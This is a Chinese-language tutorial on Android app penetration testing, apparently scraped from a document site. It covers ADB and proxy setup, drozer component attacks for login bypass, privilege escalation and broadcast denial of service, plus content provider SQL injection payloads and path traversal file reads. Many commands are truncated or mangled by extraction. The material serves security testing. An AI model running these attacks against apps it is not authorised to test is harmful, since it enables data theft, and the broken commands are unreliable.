admin管理员组

文章数量:1532440

2024年1月11日发(作者:)

android渗透培训--apk渗透测试方法-基础

安卓App渗透测试方法--基础

1.基本设置

1.1 ADB连接:

模拟器自带开启ADB服务,电脑使用 adb devcies 即可查看存在的模拟器

1.1.1.手机WIFI

(1)准备条件:手机必须已经root,下载一个终端模拟器用于输入命令。

(2)手机接入wifi。

(3)运行终端模拟器开始绑定adb端口,依次输入以下命令:

su

setprop 5555

stop adbd

start adbd

(4)获取手机内网IP,可以直接在终端模拟器输入 netcfg /ip a来查看,或者通过你的wifi管理后台查看。

1.1.2电脑

adb connect 172.17.233.2:5555

adb devices

adb shell

安装软件

将apk放到platform文件夹中(可将adb加入系统环境变量,就不必每次切换到platform目录)

adb install

1.2设置代理

1.2.1模拟器-设置emulator代理:

-http-proxy 127.0.0.1:8888 @Android422

错误提示:

FATAL:.//android/base/sockets/:88:Check failed:

isValidFd(fd). fd 1032 max1024

解决方法:

添加-no-audio

@Android422

虚拟机内设置代理

setting--APN

10.0.2.2:8888

1.2.2 手机wifi设置代理

setting-wifi-修改-代理-手动

主机名:电脑ip 端口:8888

2.渗透测试工具配置

2.1 drozer 配置

adb forward tcp:31415 tcp:31415 //drozer的端口是31415,所以要做端口转发

然后在模拟器上运行droxer Agent,打开drozer 服务(需要安装drozer-agent apk)

drozer console connect 手机ip //drozer 连接

注:除了drozer,渗透测试框架还有:mercury,appie等,使用方法类似。

3.渗透测试方法

3.1查看本地存储

3.1.1 Shared Preferences

Shared Preferences是用key-value 来存储私有的原始数据的

xml文件 /data/data//shared_prefs/ 。

3.1.2 SQLite 数据库

/data/data//databases/ 操作:

进入命令行 adb shell

-http-proxy 127.0.0.1:8888 -no-audio

复制文件(用adb命令手机-->电脑)adb pull

data/data/d/databases/ f:/ sqlite3 查看某个数据库

.tables 查看数据库中的表

select * from talbes; 查询表的内容

.exit 退出

3.1.3 查看SD卡

是否储存app的图片或缓存文件

ls /sdcard/

3.2 查看日志中是否存在敏感信息

查看日志中是否存在敏感信息

命令:adb logcat

-v verbose 打印详细

-d debug 打印调试级日志

-I information 打印提示级日志

-e error 打印错误级日志

-w warning 打印警告级日志

将日志导出:adb logcat >

3.3 检查是否可以重新编译打包

使用ApkTool进行反编译:java –jar d

重新编译:java -jar b abc

签名:java -jar 8

3.4检查WebView 漏洞

查看webview组件接口是否有防护措施

1. apk用压缩软件打开,提取里面的

2. 反编译得到源码:

3. 后在利用jdgui打开

4.搜索危险接口 addJavascriptInterface 和searchBoxJavaBridge

如果未作防护,可尝试测试是否存在远程代码执行漏洞,可参考:

/doc/,/android-webview-remote-code-execution-vulnerability-analysis

3.5检查allowbackup和Debuggable权限

查看反编译得到 文件中allowbackup和Debuggable 属性是否为true,如果为true则开放了allowbackup和Debuggable 权限

3.6. 组件测试(Activity,Content,Service,Broadcast)--Drozer

查看apk包信息

1.关键字查找包名

命令 run -f

示例 run -f sieve

2.获取应用基本信息

命令 run /doc/, -a

示例 run /doc/, -a

3.确定攻击面,查看个组件的权限信息

命令 run surface

示例 run surface

3.5.1 Activity配置错误导致登录验证被绕过

检查组件Activity配置是否错误,导致登录验证(如:密码验证,手势验证,短信验证等)被绕过

获取Activity信息

命令 run /doc/, -a

示例 run -a

启动Activity,查看app的登陆验证是否被绕过

命令 run --component

示例 run --component

ginActivity

3.5.2 Service配置错误导致越权

获取service信息

命令run /doc/, -a

0000

通过services 调用系统的intent 是否成功调用,是否存在越权漏洞命令run --component 包名服务名--action 系统的intent 例如:

示例run --component

rvice --action

_REPORT

示例 run --component

/doc/,mandService

action

_REPORT

3.5.3 Broadcast receiver配置错误导致拒绝服务攻击

获取app的broadcast信息

命令run /doc/, -a

b -i

通过广播发送空的或不完整的 intent,查看app是否停止运行,造成拒绝服务攻击空的intent

命令urn --component b

oadcastReceiver

不完整的 intent

示例run --component b

oadcastReceiver

3.5.4 Content Provider数据泄露漏洞

检查组件Content Provider配置是否错误,导致数据泄漏

获取Content Provider信息

--action

--

命令 run /doc/, -a

示例 run /doc/, -a

获取所有可访问的Uri

命令 run is -a

示例 run is -a

1. SQL注入

命令 run [--projection] [--selection]

示例 run

content://entProvider/Passwords/

列出所有表 run

content://entProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE

type='table';--"

获取单表(如Key)的数据 run

content://entProvider/Passwords/ --projection "* FROM Key;--"

检测是否存在SQL注入

命令 run ion -a

示例 run ion -a

2 .检测目录遍历

命令 run sal -a

示例 run sal -a

3. 读取文件系统下的文件

示例 run

content://ckupProvider/etc/hosts

4. 下载数据库文件到本地

示例 run ad

content://ckupProvider/data/data/

d:/

4. 检查开发者证书是否规范

解压apk文件,找到META-INF文件夹中的RSA证书,查看证书中的开发者信息是否为app 的所有者或开发者。

工具:Keytool(Jre目录下的bin中该工具)

命令keytool -printcert -file *.RSA

示例 keytool -printcert -file

D:0000originalMETA-

5. Android开放网络端口是否安全

有很多的SDK再生成apk时会自动开放一些端口,如百度SDK的“虫洞”后门漏洞,就开放了6259或40310端口

如何查看端口所对应的应用:

/doc/,/%E6%B5%85%E8%B0%88android%E5%BC%80%E6%94%BE%E7%BD%91%E7%BB

%9C%E7%AB%AF%E5%8F%A3%E7%9A%84%E5%AE%89%E5%85%A8%E9%A3%8E%E9%99%A9/

第一步,利用netstat寻找感兴趣的开放socket端口,如15555。

adb shell netstat -a | grep -E "LISTIEN|udp*"

第二步,将端口转换为十六进制值,查看位于/proc/net/目录下对应的socket套接字状态文件,在其中找到使用该socket的应用的uid。如15555的十六进制表示为1cc3,协议类型为tcp6,那么查看/proc/net/tcp6文件。

adb shell grep -i 3cc3 /proc/net/tcp6

结果中的10115,就是使用该socket的应用的uid。通过这个uid可以得知应用的用户名为u0_a115。

e/databases/

第三步,根据用户名就可以找到应用了

adb shell ps | grep u0_a115

6.后台web测试

与普通的web渗透测试相同,用burpsuite抓包分析是否有sql注入,xss,越权,信息泄露等漏洞。

本文标签: 是否查看端口文件存在